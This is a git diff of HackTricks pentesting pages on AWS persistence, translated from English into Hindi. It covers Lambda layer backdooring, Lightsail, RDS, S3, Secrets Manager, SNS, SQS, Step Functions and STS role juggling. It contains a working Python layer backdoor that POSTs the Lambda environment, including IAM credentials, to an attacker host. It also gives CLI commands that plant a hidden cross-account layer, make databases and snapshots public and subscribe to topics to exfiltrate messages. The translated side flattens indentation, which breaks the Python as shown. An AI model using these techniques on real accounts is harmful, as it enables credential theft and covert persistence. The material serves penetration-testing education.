+इसलिए, आवश्यकताएँ हैं:
-- **Check libraries** that are **loaded** by the victims code
-- Create a **proxy library with lambda layers** that will **execute custom code** and **load the original** library.
+- **चेक करें पुस्तकालय** जो **पीड़ित के कोड** द्वारा **लोड** किए गए हैं
+- एक **प्रॉक्सी लाइब्रेरी बनाएं जो lambda layers** के साथ **कस्टम कोड निष्पादित करेगी** और **मूल** पुस्तकालय को **लोड** करेगी।
-### Preloaded libraries
+### प्रीलोडेड पुस्तकालय
> [!WARNING]
-> When abusing this technique I found a difficulty: Some libraries are **already loaded** in python runtime when your code gets executed. I was expecting to find things like `os` or `sys`, but **even `json` library was loaded**.\
-> In order to abuse this persistence technique, the code needs to **load a new library that isn't loaded** when the code gets executed.
-
-With a python code like this one it's possible to obtain the **list of libraries that are pre loaded** inside python runtime in lambda:
+> इस तकनीक का दुरुपयोग करते समय मुझे एक कठिनाई मिली: कुछ पुस्तकालय **पहले से ही लोड** होते हैं जब आपका कोड निष्पादित होता है। मैं `os` या `sys` जैसी चीजें खोजने की उम्मीद कर रहा था, लेकिन **यहाँ तक कि `json` पुस्तकालय भी लोड हो चुका था**।\
+> इस स्थायी तकनीक का दुरुपयोग करने के लिए, कोड को **एक नया पुस्तकालय लोड करना होगा जो लोड नहीं होता** जब कोड निष्पादित होता है।
+इस तरह के एक पायथन कोड के साथ यह संभव है कि **पुस्तकों की सूची प्राप्त की जाए जो प्रीलोडेड** हैं पायथन रनटाइम के अंदर lambda में:
```python
import sys
def lambda_handler(event, context):
- return {
- 'statusCode': 200,
- 'body': str(sys.modules.keys())
- }
+return {
+'statusCode': 200,
+'body': str(sys.modules.keys())
+}
```
-
-And this is the **list** (check that libraries like `os` or `json` are already there)
-
+और यह **सूची** है (जांचें कि `os` या `json` जैसी पुस्तकालय पहले से मौजूद हैं)
```
'sys', 'builtins', '_frozen_importlib', '_imp', '_thread', '_warnings', '_weakref', '_io', 'marshal', 'posix', '_frozen_importlib_external', 'time', 'zipimport', '_codecs', 'codecs', 'encodings.aliases', 'encodings', 'encodings.utf_8', '_signal', 'encodings.latin_1', '_abc', 'abc', 'io', '__main__', '_stat', 'stat', '_collections_abc', 'genericpath', 'posixpath', 'os.path', 'os', '_sitebuiltins', 'pwd', '_locale', '_bootlocale', 'site', 'types', 'enum', '_sre', 'sre_constants', 'sre_parse', 'sre_compile', '_heapq', 'heapq', 'itertools', 'keyword', '_operator', 'operator', 'reprlib', '_collections', 'collections', '_functools', 'functools', 'copyreg', 're', '_json', 'json.scanner', 'json.decoder', 'json.encoder', 'json', 'token', 'tokenize', 'linecache', 'traceback', 'warnings', '_weakrefset', 'weakref', 'collections.abc', '_string', 'string', 'threading', 'atexit', 'logging', 'awslambdaric', 'importlib._bootstrap', 'importlib._bootstrap_external', 'importlib', 'awslambdaric.lambda_context', 'http', 'email', 'email.errors', 'binascii', 'email.quoprimime', '_struct', 'struct', 'base64', 'email.base64mime', 'quopri', 'email.encoders', 'email.charset', 'email.header', 'math', '_bisect', 'bisect', '_random', '_sha512', 'random', '_socket', 'select', 'selectors', 'errno', 'array', 'socket', '_datetime', 'datetime', 'urllib', 'urllib.parse', 'locale', 'calendar', 'email._parseaddr', 'email.utils', 'email._policybase', 'email.feedparser', 'email.parser', 'uu', 'email._encoded_words', 'email.iterators', 'email.message', '_ssl', 'ssl', 'http.client', 'runtime_client', 'numbers', '_decimal', 'decimal', '__future__', 'simplejson.errors', 'simplejson.raw_json', 'simplejson.compat', 'simplejson._speedups', 'simplejson.scanner', 'simplejson.decoder', 'simplejson.encoder', 'simplejson', 'awslambdaric.lambda_runtime_exception', 'awslambdaric.lambda_runtime_marshaller', 'awslambdaric.lambda_runtime_client', 'awslambdaric.bootstrap', 'awslambdaric.__main__', 'lambda_function'
```
+और यह **लाइब्रेरीज़** की सूची है जो **लैम्ब्डा डिफ़ॉल्ट रूप से शामिल करता है**: [https://gist.github.com/gene1wood/4a052f39490fae00e0c3](https://gist.github.com/gene1wood/4a052f39490fae00e0c3)
-And this is the list of **libraries** that **lambda includes installed by default**: [https://gist.github.com/gene1wood/4a052f39490fae00e0c3](https://gist.github.com/gene1wood/4a052f39490fae00e0c3)
+### लैम्ब्डा लेयर बैकडोरिंग
-### Lambda Layer Backdooring
+इस उदाहरण में मान लीजिए कि लक्षित कोड **`csv`** आयात कर रहा है। हम **`csv` लाइब्रेरी के आयात में बैकडोरिंग** करने जा रहे हैं।
-In this example lets suppose that the targeted code is importing **`csv`**. We are going to be **backdooring the import of the `csv` library**.
+इसके लिए, हम **`csv`** नाम का डायरेक्टरी बनाएंगे जिसमें **`__init__.py`** फ़ाइल होगी, एक पथ में जो लैम्ब्डा द्वारा लोड किया जाता है: **`/opt/python/lib/python3.9/site-packages`**\
+फिर, जब लैम्ब्डा निष्पादित होता है और **csv** लोड करने की कोशिश करता है, तो हमारी **`__init__.py` फ़ाइल लोड और निष्पादित होगी**।\
+इस फ़ाइल को करना चाहिए:
-For doing that, we are going to **create the directory csv** with the file **`__init__.py`** on it in a path that is loaded by lambda: **`/opt/python/lib/python3.9/site-packages`**\
-Then, when the lambda is executed and try to load **csv**, our **`__init__.py` file will be loaded and executed**.\
-This file must:
-
-- Execute our payload
-- Load the original csv library
-
-We can do both with:
+- हमारा पेलोड निष्पादित करें
+- मूल csv लाइब्रेरी लोड करें
+हम दोनों कर सकते हैं:
```python
import sys
from urllib import request
with open("/proc/self/environ", "rb") as file:
- url= "https://attacker13123344.com/" #Change this to your server
- req = request.Request(url, data=file.read(), method="POST")
- response = request.urlopen(req)
+url= "https://attacker13123344.com/" #Change this to your server
+req = request.Request(url, data=file.read(), method="POST")
+response = request.urlopen(req)
# Remove backdoor directory from path to load original library
del_path_dir = "/".join(__file__.split("/")[:-2])
@@ -90,29 +83,27 @@ import csv as _csv
sys.modules["csv"] = _csv
```
+फिर, इस कोड के साथ एक ज़िप बनाएं जो पथ **`python/lib/python3.9/site-packages/__init__.py`** में हो और इसे एक लैम्ब्डा लेयर के रूप में जोड़ें।
-Then, create a zip with this code in the path **`python/lib/python3.9/site-packages/__init__.py`** and add it as a lambda layer.
+आप इस कोड को [**https://github.com/carlospolop/LambdaLayerBackdoor**](https://github.com/carlospolop/LambdaLayerBackdoor) पर पा सकते हैं।
-You can find this code in [**https://github.com/carlospolop/LambdaLayerBackdoor**](https://github.com/carlospolop/LambdaLayerBackdoor)
-
-The integrated payload will **send the IAM creds to a server THE FIRST TIME it's invoked or AFTER a reset of the lambda container** (change of code or cold lambda), but **other techniques** such as the following could also be integrated:
+एकीकृत पेलोड **IAM क्रेडेंशियल्स को एक सर्वर पर भेजेगा जब इसे पहली बार बुलाया जाएगा या लैम्ब्डा कंटेनर के रीसेट के बाद** (कोड में परिवर्तन या ठंडी लैम्ब्डा), लेकिन **अन्य तकनीकें** जैसे निम्नलिखित भी एकीकृत की जा सकती हैं:
{{#ref}}
../../aws-post-exploitation/aws-lambda-post-exploitation/aws-warm-lambda-persistence.md
{{#endref}}
-### External Layers
+### बाहरी लेयर्स
-Note that it's possible to use **lambda layers from external accounts**. Moreover, a lambda can use a layer from an external account even if it doesn't have permissions.\
-Also note that the **max number of layers a lambda can have is 5**.
+ध्यान दें कि **बाहरी खातों से लैम्ब्डा लेयर्स का उपयोग करना संभव है**। इसके अलावा, एक लैम्ब्डा एक बाहरी खाते से एक लेयर का उपयोग कर सकता है भले ही उसके पास अनुमतियाँ न हों।\
+यह भी ध्यान दें कि **एक लैम्ब्डा के पास अधिकतम 5 लेयर्स हो सकती हैं**।
-Therefore, in order to improve the versatility of this technique an attacker could:
-
-- Backdoor an existing layer of the user (nothing is external)
-- **Create** a **layer** in **his account**, give the **victim account access** to use the layer, **configure** the **layer** in victims Lambda and **remove the permission**.
- - The **Lambda** will still be able to **use the layer** and the **victim won't** have any easy way to **download the layers code** (apart from getting a rev shell inside the lambda)
- - The victim **won't see external layers** used with **`aws lambda list-layers`**
+इसलिए, इस तकनीक की बहुपरकारीता को बढ़ाने के लिए एक हमलावर कर सकता है:
+- उपयोगकर्ता की एक मौजूदा लेयर में बैकडोर डालें (कुछ भी बाहरी नहीं है)
+- **अपने खाते में** एक **लेयर** **बनाएं**, **पीड़ित खाते को लेयर का उपयोग करने के लिए अनुमति दें**, **पीड़ित की लैम्ब्डा में लेयर को कॉन्फ़िगर करें** और **अनुमति हटा दें**।
+- **लैम्ब्डा** अभी भी **लेयर का उपयोग कर सकेगा** और **पीड़ित** के पास **लेयर्स कोड डाउनलोड करने का कोई आसान तरीका नहीं होगा** (लैम्ब्डा के अंदर एक रिव शेल प्राप्त करने के अलावा)
+- पीड़ित **`aws lambda list-layers`** के साथ उपयोग की गई बाहरी लेयर्स नहीं देखेगा।
```bash
# Upload backdoor layer
aws lambda publish-layer-version --layer-name "ExternalBackdoor" --zip-file file://backdoor.zip --compatible-architectures "x86_64" "arm64" --compatible-runtimes "python3.9" "python3.8" "python3.7" "python3.6"
@@ -126,9 +117,4 @@ aws lambda add-layer-version-permission --layer-name ExternalBackdoor --statemen
# Remove permissions
aws lambda remove-layer-version-permission --layer-name ExternalBackdoor --statement-id xaccount --version-number 1
```
-
{{#include ../../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-lightsail-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-lightsail-persistence.md
index 88b0d082a..60be5857c 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-lightsail-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-lightsail-persistence.md
@@ -4,34 +4,30 @@
## Lightsail
-For more information check:
+अधिक जानकारी के लिए देखें:
{{#ref}}
../aws-services/aws-lightsail-enum.md
{{#endref}}
-### Download Instance SSH keys & DB passwords
+### इंस्टेंस SSH कुंजी और DB पासवर्ड डाउनलोड करें
-They won't be changed probably so just having them is a good option for persistence
+वे शायद नहीं बदले जाएंगे इसलिए उन्हें रखना स्थिरता के लिए एक अच्छा विकल्प है
-### Backdoor Instances
+### बैकडोर इंस्टेंस
-An attacker could get access to the instances and backdoor them:
+एक हमलावर इंस्टेंस तक पहुंच प्राप्त कर सकता है और उन्हें बैकडोर कर सकता है:
-- Using a traditional **rootkit** for example
-- Adding a new **public SSH key**
-- Expose a port with port knocking with a backdoor
+- उदाहरण के लिए एक पारंपरिक **rootkit** का उपयोग करना
+- एक नया **public SSH key** जोड़ना
+- बैकडोर के साथ पोर्ट नॉकिंग के साथ एक पोर्ट को उजागर करना
-### DNS persistence
+### DNS स्थिरता
-If domains are configured:
+यदि डोमेन कॉन्फ़िगर किए गए हैं:
-- Create a subdomain pointing your IP so you will have a **subdomain takeover**
-- Create **SPF** record allowing you to send **emails** from the domain
-- Configure the **main domain IP to your own one** and perform a **MitM** from your IP to the legit ones
+- एक उपडोमेन बनाएं जो आपके IP की ओर इशारा करता है ताकि आपके पास **subdomain takeover** हो
+- **SPF** रिकॉर्ड बनाएं जो आपको डोमेन से **emails** भेजने की अनुमति देता है
+- **मुख्य डोमेन IP को अपने स्वयं के IP पर कॉन्फ़िगर करें** और अपने IP से वैध IPs के लिए **MitM** करें
{{#include ../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-rds-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-rds-persistence.md
index b7a4b8f7b..2cfcd11e9 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-rds-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-rds-persistence.md
@@ -4,32 +4,24 @@
## RDS
-For more information check:
+अधिक जानकारी के लिए देखें:
{{#ref}}
../aws-services/aws-relational-database-rds-enum.md
{{#endref}}
-### Make instance publicly accessible: `rds:ModifyDBInstance`
-
-An attacker with this permission can **modify an existing RDS instance to enable public accessibility**.
+### इंस्टेंस को सार्वजनिक रूप से सुलभ बनाएं: `rds:ModifyDBInstance`
+इस अनुमति के साथ एक हमलावर **एक मौजूदा RDS इंस्टेंस को सार्वजनिक सुलभता सक्षम करने के लिए संशोधित कर सकता है**।
```bash
aws rds modify-db-instance --db-instance-identifier target-instance --publicly-accessible --apply-immediately
```
+### DB के अंदर एक एडमिन यूजर बनाएं
-### Create an admin user inside the DB
-
-An attacker could just **create a user inside the DB** so even if the master users password is modified he **doesn't lose the access** to the database.
-
-### Make snapshot public
+एक हमलावर बस **DB के अंदर एक यूजर बना सकता है** ताकि अगर मास्टर यूजर का पासवर्ड बदल दिया जाए तो भी वह **डेटाबेस तक पहुंच नहीं खोता**।
+### स्नैपशॉट को सार्वजनिक बनाएं
```bash
aws rds modify-db-snapshot-attribute --db-snapshot-identifier --attribute-name restore --values-to-add all
```
-
{{#include ../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-s3-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-s3-persistence.md
index f2c4ce048..4f899931c 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-s3-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-s3-persistence.md
@@ -4,26 +4,22 @@
## S3
-For more information check:
+अधिक जानकारी के लिए देखें:
{{#ref}}
../aws-services/aws-s3-athena-and-glacier-enum.md
{{#endref}}
-### KMS Client-Side Encryption
+### KMS क्लाइंट-साइड एन्क्रिप्शन
-When the encryption process is done the user will use the KMS API to generate a new key (`aws kms generate-data-key`) and he will **store the generated encrypted key inside the metadata** of the file ([python code example](https://aioboto3.readthedocs.io/en/latest/cse.html#how-it-works-kms-managed-keys)) so when the decrypting occur it can decrypt it using KMS again:
+जब एन्क्रिप्शन प्रक्रिया पूरी हो जाती है, तो उपयोगकर्ता KMS API का उपयोग करके एक नया कुंजी उत्पन्न करेगा (`aws kms generate-data-key`) और वह **उत्पन्न एन्क्रिप्टेड कुंजी को फ़ाइल के मेटाडेटा के अंदर स्टोर करेगा** ([python code example](https://aioboto3.readthedocs.io/en/latest/cse.html#how-it-works-kms-managed-keys)) ताकि जब डिक्रिप्शन हो, तो वह इसे फिर से KMS का उपयोग करके डिक्रिप्ट कर सके:
-Therefore, and attacker could get this key from the metadata and decrypt with KMS (`aws kms decrypt`) to obtain the key used to encrypt the information. This way the attacker will have the encryption key and if that key is reused to encrypt other files he will be able to use it.
+इसलिए, एक हमलावर इस कुंजी को मेटाडेटा से प्राप्त कर सकता है और KMS के साथ डिक्रिप्ट कर सकता है (`aws kms decrypt`) ताकि वह जानकारी को एन्क्रिप्ट करने के लिए उपयोग की गई कुंजी प्राप्त कर सके। इस तरह, हमलावर के पास एन्क्रिप्शन कुंजी होगी और यदि उस कुंजी का पुन: उपयोग अन्य फ़ाइलों को एन्क्रिप्ट करने के लिए किया जाता है, तो वह इसका उपयोग कर सकेगा।
-### Using S3 ACLs
+### S3 ACLs का उपयोग करना
-Although usually ACLs of buckets are disabled, an attacker with enough privileges could abuse them (if enabled or if the attacker can enable them) to keep access to the S3 bucket.
+हालांकि आमतौर पर बाल्टियों के ACLs बंद होते हैं, एक हमलावर जिसके पास पर्याप्त विशेषाधिकार हैं, उनका दुरुपयोग कर सकता है (यदि सक्षम हैं या यदि हमलावर उन्हें सक्षम कर सकता है) S3 बाल्टी तक पहुंच बनाए रखने के लिए।
{{#include ../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-secrets-manager-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-secrets-manager-persistence.md
index c15f27003..32aea59f0 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-secrets-manager-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-secrets-manager-persistence.md
@@ -4,54 +4,48 @@
## Secrets Manager
-For more info check:
+अधिक जानकारी के लिए देखें:
{{#ref}}
../aws-services/aws-secrets-manager-enum.md
{{#endref}}
-### Via Resource Policies
+### संसाधन नीतियों के माध्यम से
-It's possible to **grant access to secrets to external accounts** via resource policies. Check the [**Secrets Manager Privesc page**](../aws-privilege-escalation/aws-secrets-manager-privesc.md) for more information. Note that to **access a secret**, the external account will also **need access to the KMS key encrypting the secret**.
+यह **बाहरी खातों को रहस्यों तक पहुँच प्रदान करना** संभव है संसाधन नीतियों के माध्यम से। अधिक जानकारी के लिए [**Secrets Manager Privesc पृष्ठ**](../aws-privilege-escalation/aws-secrets-manager-privesc.md) देखें। ध्यान दें कि **एक रहस्य तक पहुँचने के लिए**, बाहरी खाते को **रहस्य को एन्क्रिप्ट करने वाले KMS कुंजी तक भी पहुँच की आवश्यकता होगी**।
-### Via Secrets Rotate Lambda
+### Secrets Rotate Lambda के माध्यम से
-To **rotate secrets** automatically a configured **Lambda** is called. If an attacker could **change** the **code** he could directly **exfiltrate the new secret** to himself.
-
-This is how lambda code for such action could look like:
+स्वचालित रूप से **रहस्यों को घुमाने** के लिए एक कॉन्फ़िगर किया गया **Lambda** कॉल किया जाता है। यदि एक हमलावर **कोड** को **बदल** सकता है, तो वह सीधे **नए रहस्य को** अपने लिए **निकाल** सकता है।
+इस प्रकार की कार्रवाई के लिए लैम्ब्डा कोड इस तरह दिख सकता है:
```python
import boto3
def rotate_secrets(event, context):
- # Create a Secrets Manager client
- client = boto3.client('secretsmanager')
+# Create a Secrets Manager client
+client = boto3.client('secretsmanager')
- # Retrieve the current secret value
- secret_value = client.get_secret_value(SecretId='example_secret_id')['SecretString']
+# Retrieve the current secret value
+secret_value = client.get_secret_value(SecretId='example_secret_id')['SecretString']
- # Rotate the secret by updating its value
- new_secret_value = rotate_secret(secret_value)
- client.update_secret(SecretId='example_secret_id', SecretString=new_secret_value)
+# Rotate the secret by updating its value
+new_secret_value = rotate_secret(secret_value)
+client.update_secret(SecretId='example_secret_id', SecretString=new_secret_value)
def rotate_secret(secret_value):
- # Perform the rotation logic here, e.g., generate a new password
+# Perform the rotation logic here, e.g., generate a new password
- # Example: Generate a new password
- new_secret_value = generate_password()
+# Example: Generate a new password
+new_secret_value = generate_password()
- return new_secret_value
+return new_secret_value
def generate_password():
- # Example: Generate a random password using the secrets module
- import secrets
- import string
- password = ''.join(secrets.choice(string.ascii_letters + string.digits) for i in range(16))
- return password
+# Example: Generate a random password using the secrets module
+import secrets
+import string
+password = ''.join(secrets.choice(string.ascii_letters + string.digits) for i in range(16))
+return password
```
-
{{#include ../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-sns-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-sns-persistence.md
index 8e97cc81c..a139dad70 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-sns-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-sns-persistence.md
@@ -4,7 +4,7 @@
## SNS
-For more information check:
+अधिक जानकारी के लिए देखें:
{{#ref}}
../aws-services/aws-sns-enum.md
@@ -12,74 +12,66 @@ For more information check:
### Persistence
-When creating a **SNS topic** you need to indicate with an IAM policy **who has access to read and write**. It's possible to indicate external accounts, ARN of roles, or **even "\*"**.\
-The following policy gives everyone in AWS access to read and write in the SNS topic called **`MySNS.fifo`**:
-
+जब आप एक **SNS टॉपिक** बनाते हैं, तो आपको IAM नीति के साथ यह बताना होगा कि **किसे पढ़ने और लिखने का अधिकार है**। बाहरी खातों, भूमिकाओं के ARN, या **यहाँ तक कि "\*"** को निर्दिष्ट करना संभव है।\
+निम्नलिखित नीति AWS में सभी को **`MySNS.fifo`** नामक SNS टॉपिक में पढ़ने और लिखने की अनुमति देती है:
```json
{
- "Version": "2008-10-17",
- "Id": "__default_policy_ID",
- "Statement": [
- {
- "Sid": "__default_statement_ID",
- "Effect": "Allow",
- "Principal": {
- "AWS": "*"
- },
- "Action": [
- "SNS:Publish",
- "SNS:RemovePermission",
- "SNS:SetTopicAttributes",
- "SNS:DeleteTopic",
- "SNS:ListSubscriptionsByTopic",
- "SNS:GetTopicAttributes",
- "SNS:AddPermission",
- "SNS:Subscribe"
- ],
- "Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo",
- "Condition": {
- "StringEquals": {
- "AWS:SourceOwner": "318142138553"
- }
- }
- },
- {
- "Sid": "__console_pub_0",
- "Effect": "Allow",
- "Principal": {
- "AWS": "*"
- },
- "Action": "SNS:Publish",
- "Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo"
- },
- {
- "Sid": "__console_sub_0",
- "Effect": "Allow",
- "Principal": {
- "AWS": "*"
- },
- "Action": "SNS:Subscribe",
- "Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo"
- }
- ]
+"Version": "2008-10-17",
+"Id": "__default_policy_ID",
+"Statement": [
+{
+"Sid": "__default_statement_ID",
+"Effect": "Allow",
+"Principal": {
+"AWS": "*"
+},
+"Action": [
+"SNS:Publish",
+"SNS:RemovePermission",
+"SNS:SetTopicAttributes",
+"SNS:DeleteTopic",
+"SNS:ListSubscriptionsByTopic",
+"SNS:GetTopicAttributes",
+"SNS:AddPermission",
+"SNS:Subscribe"
+],
+"Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo",
+"Condition": {
+"StringEquals": {
+"AWS:SourceOwner": "318142138553"
+}
+}
+},
+{
+"Sid": "__console_pub_0",
+"Effect": "Allow",
+"Principal": {
+"AWS": "*"
+},
+"Action": "SNS:Publish",
+"Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo"
+},
+{
+"Sid": "__console_sub_0",
+"Effect": "Allow",
+"Principal": {
+"AWS": "*"
+},
+"Action": "SNS:Subscribe",
+"Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo"
+}
+]
}
```
-
### Create Subscribers
-To continue exfiltrating all the messages from all the topics and attacker could **create subscribers for all the topics**.
-
-Note that if the **topic is of type FIFO**, only subscribers using the protocol **SQS** can be used.
+सभी विषयों से सभी संदेशों को निकालने के लिए हमलावर **सभी विषयों के लिए सब्सक्राइबर बना सकता है**।
+ध्यान दें कि यदि **विषय FIFO प्रकार का है**, तो केवल **SQS** प्रोटोकॉल का उपयोग करने वाले सब्सक्राइबर का उपयोग किया जा सकता है।
```bash
aws sns subscribe --region \
- --protocol http \
- --notification-endpoint http:/// \
- --topic-arn
+--protocol http \
+--notification-endpoint http:/// \
+--topic-arn
```
-
{{#include ../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence.md
index 88f396173..07f54abcb 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence.md
@@ -4,40 +4,34 @@
## SQS
-For more information check:
+अधिक जानकारी के लिए देखें:
{{#ref}}
../aws-services/aws-sqs-and-sns-enum.md
{{#endref}}
-### Using resource policy
-
-In SQS you need to indicate with an IAM policy **who has access to read and write**. It's possible to indicate external accounts, ARN of roles, or **even "\*"**.\
-The following policy gives everyone in AWS access to everything in the queue called **MyTestQueue**:
+### संसाधन नीति का उपयोग करना
+SQS में आपको IAM नीति के साथ यह संकेत देना होगा कि **किसके पास पढ़ने और लिखने का अधिकार है**। बाहरी खातों, भूमिकाओं के ARN, या **यहाँ तक कि "\*"** को संकेत देना संभव है।\
+निम्नलिखित नीति AWS में सभी को **MyTestQueue** नामक कतार में सब कुछ तक पहुँच देती है:
```json
{
- "Version": "2008-10-17",
- "Id": "__default_policy_ID",
- "Statement": [
- {
- "Sid": "__owner_statement",
- "Effect": "Allow",
- "Principal": {
- "AWS": "*"
- },
- "Action": ["SQS:*"],
- "Resource": "arn:aws:sqs:us-east-1:123123123123:MyTestQueue"
- }
- ]
+"Version": "2008-10-17",
+"Id": "__default_policy_ID",
+"Statement": [
+{
+"Sid": "__owner_statement",
+"Effect": "Allow",
+"Principal": {
+"AWS": "*"
+},
+"Action": ["SQS:*"],
+"Resource": "arn:aws:sqs:us-east-1:123123123123:MyTestQueue"
+}
+]
}
```
-
> [!NOTE]
-> You could even **trigger a Lambda in the attackers account every-time a new message** is put in the queue (you would need to re-put it) somehow. For this follow these instructinos: [https://docs.aws.amazon.com/lambda/latest/dg/with-sqs-cross-account-example.html](https://docs.aws.amazon.com/lambda/latest/dg/with-sqs-cross-account-example.html)
+> आप हर बार जब कतार में एक नया संदेश डाला जाता है, तो **हमलावर के खाते में एक Lambda को ट्रिगर** कर सकते हैं (आपको इसे फिर से डालने की आवश्यकता होगी) किसी न किसी तरह। इसके लिए इन निर्देशों का पालन करें: [https://docs.aws.amazon.com/lambda/latest/dg/with-sqs-cross-account-example.html](https://docs.aws.amazon.com/lambda/latest/dg/with-sqs-cross-account-example.html)
{{#include ../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-ssm-perssitence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-ssm-perssitence.md
index c1b9a422b..3bd0aae28 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-ssm-perssitence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-ssm-perssitence.md
@@ -1,6 +1 @@
# AWS - SSM Perssitence
-
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-step-functions-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-step-functions-persistence.md
index 4e8c120ff..296e431c7 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-step-functions-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-step-functions-persistence.md
@@ -4,7 +4,7 @@
## Step Functions
-For more information check:
+अधिक जानकारी के लिए देखें:
{{#ref}}
../aws-services/aws-stepfunctions-enum.md
@@ -12,14 +12,10 @@ For more information check:
### Step function Backdooring
-Backdoor a step function to make it perform any persistence trick so every time it's executed it will run your malicious steps.
+एक स्टेप फंक्शन में बैकडोर करें ताकि यह किसी भी पर्सिस्टेंस ट्रिक को निष्पादित कर सके, ताकि हर बार जब इसे चलाया जाए, यह आपके दुर्भावनापूर्ण स्टेप्स को चलाए।
### Backdooring aliases
-If the AWS account is using aliases to call step functions it would be possible to modify an alias to use a new backdoored version of the step function.
+यदि AWS खाता स्टेप फंक्शंस को कॉल करने के लिए उपनाम का उपयोग कर रहा है, तो एक उपनाम को संशोधित करना संभव होगा ताकि स्टेप फंक्शन के नए बैकडोर्ड संस्करण का उपयोग किया जा सके।
{{#include ../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-sts-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-sts-persistence.md
index 74db04bec..1b41b7d91 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-sts-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-sts-persistence.md
@@ -4,7 +4,7 @@
## STS
-For more information access:
+अधिक जानकारी के लिए पहुँचें:
{{#ref}}
../aws-services/aws-sts-enum.md
@@ -12,54 +12,51 @@ For more information access:
### Assume role token
-Temporary tokens cannot be listed, so maintaining an active temporary token is a way to maintain persistence.
+अस्थायी टोकन को सूचीबद्ध नहीं किया जा सकता, इसलिए एक सक्रिय अस्थायी टोकन बनाए रखना स्थायीता बनाए रखने का एक तरीका है।
aws sts get-session-token --duration-seconds 129600
# With MFA
aws sts get-session-token \
- --serial-number <mfa-device-name> \
- --token-code <code-from-token>
+--serial-number <mfa-device-name> \
+--token-code <code-from-token>
-# Hardware device name is usually the number from the back of the device, such as GAHT12345678
-# SMS device name is the ARN in AWS, such as arn:aws:iam::123456789012:sms-mfa/username
-# Vritual device name is the ARN in AWS, such as arn:aws:iam::123456789012:mfa/username
+# हार्डवेयर डिवाइस का नाम आमतौर पर डिवाइस के पीछे का नंबर होता है, जैसे GAHT12345678
+# SMS डिवाइस का नाम AWS में ARN है, जैसे arn:aws:iam::123456789012:sms-mfa/username
+# वर्चुअल डिवाइस का नाम AWS में ARN है, जैसे arn:aws:iam::123456789012:mfa/username
### Role Chain Juggling
-[**Role chaining is an acknowledged AWS feature**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_terms-and-concepts.html#Role%20chaining), often utilized for maintaining stealth persistence. It involves the ability to **assume a role which then assumes another**, potentially reverting to the initial role in a **cyclical manner**. Each time a role is assumed, the credentials' expiration field is refreshed. Consequently, if two roles are configured to mutually assume each other, this setup allows for the perpetual renewal of credentials.
-
-You can use this [**tool**](https://github.com/hotnops/AWSRoleJuggler/) to keep the role chaining going:
+[**रोल चेनिंग एक मान्यता प्राप्त AWS विशेषता है**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_terms-and-concepts.html#Role%20chaining), जिसे अक्सर छिपी हुई स्थिरता बनाए रखने के लिए उपयोग किया जाता है। इसमें **एक भूमिका को मान लेना शामिल है जो फिर दूसरी भूमिका को मान लेती है**, संभावित रूप से **चक्रीय तरीके** से प्रारंभिक भूमिका पर लौटते हुए। प्रत्येक बार जब एक भूमिका को मान लिया जाता है, तो क्रेडेंशियल्स की समाप्ति फ़ील्ड को ताज़ा किया जाता है। परिणामस्वरूप, यदि दो भूमिकाएँ एक-दूसरे को आपस में मानने के लिए कॉन्फ़िगर की गई हैं, तो यह सेटअप क्रेडेंशियल्स के निरंतर नवीनीकरण की अनुमति देता है।
+आप इस [**उपकरण**](https://github.com/hotnops/AWSRoleJuggler/) का उपयोग करके रोल चेनिंग को जारी रख सकते हैं:
```bash
./aws_role_juggler.py -h
usage: aws_role_juggler.py [-h] [-r ROLE_LIST [ROLE_LIST ...]]
optional arguments:
- -h, --help show this help message and exit
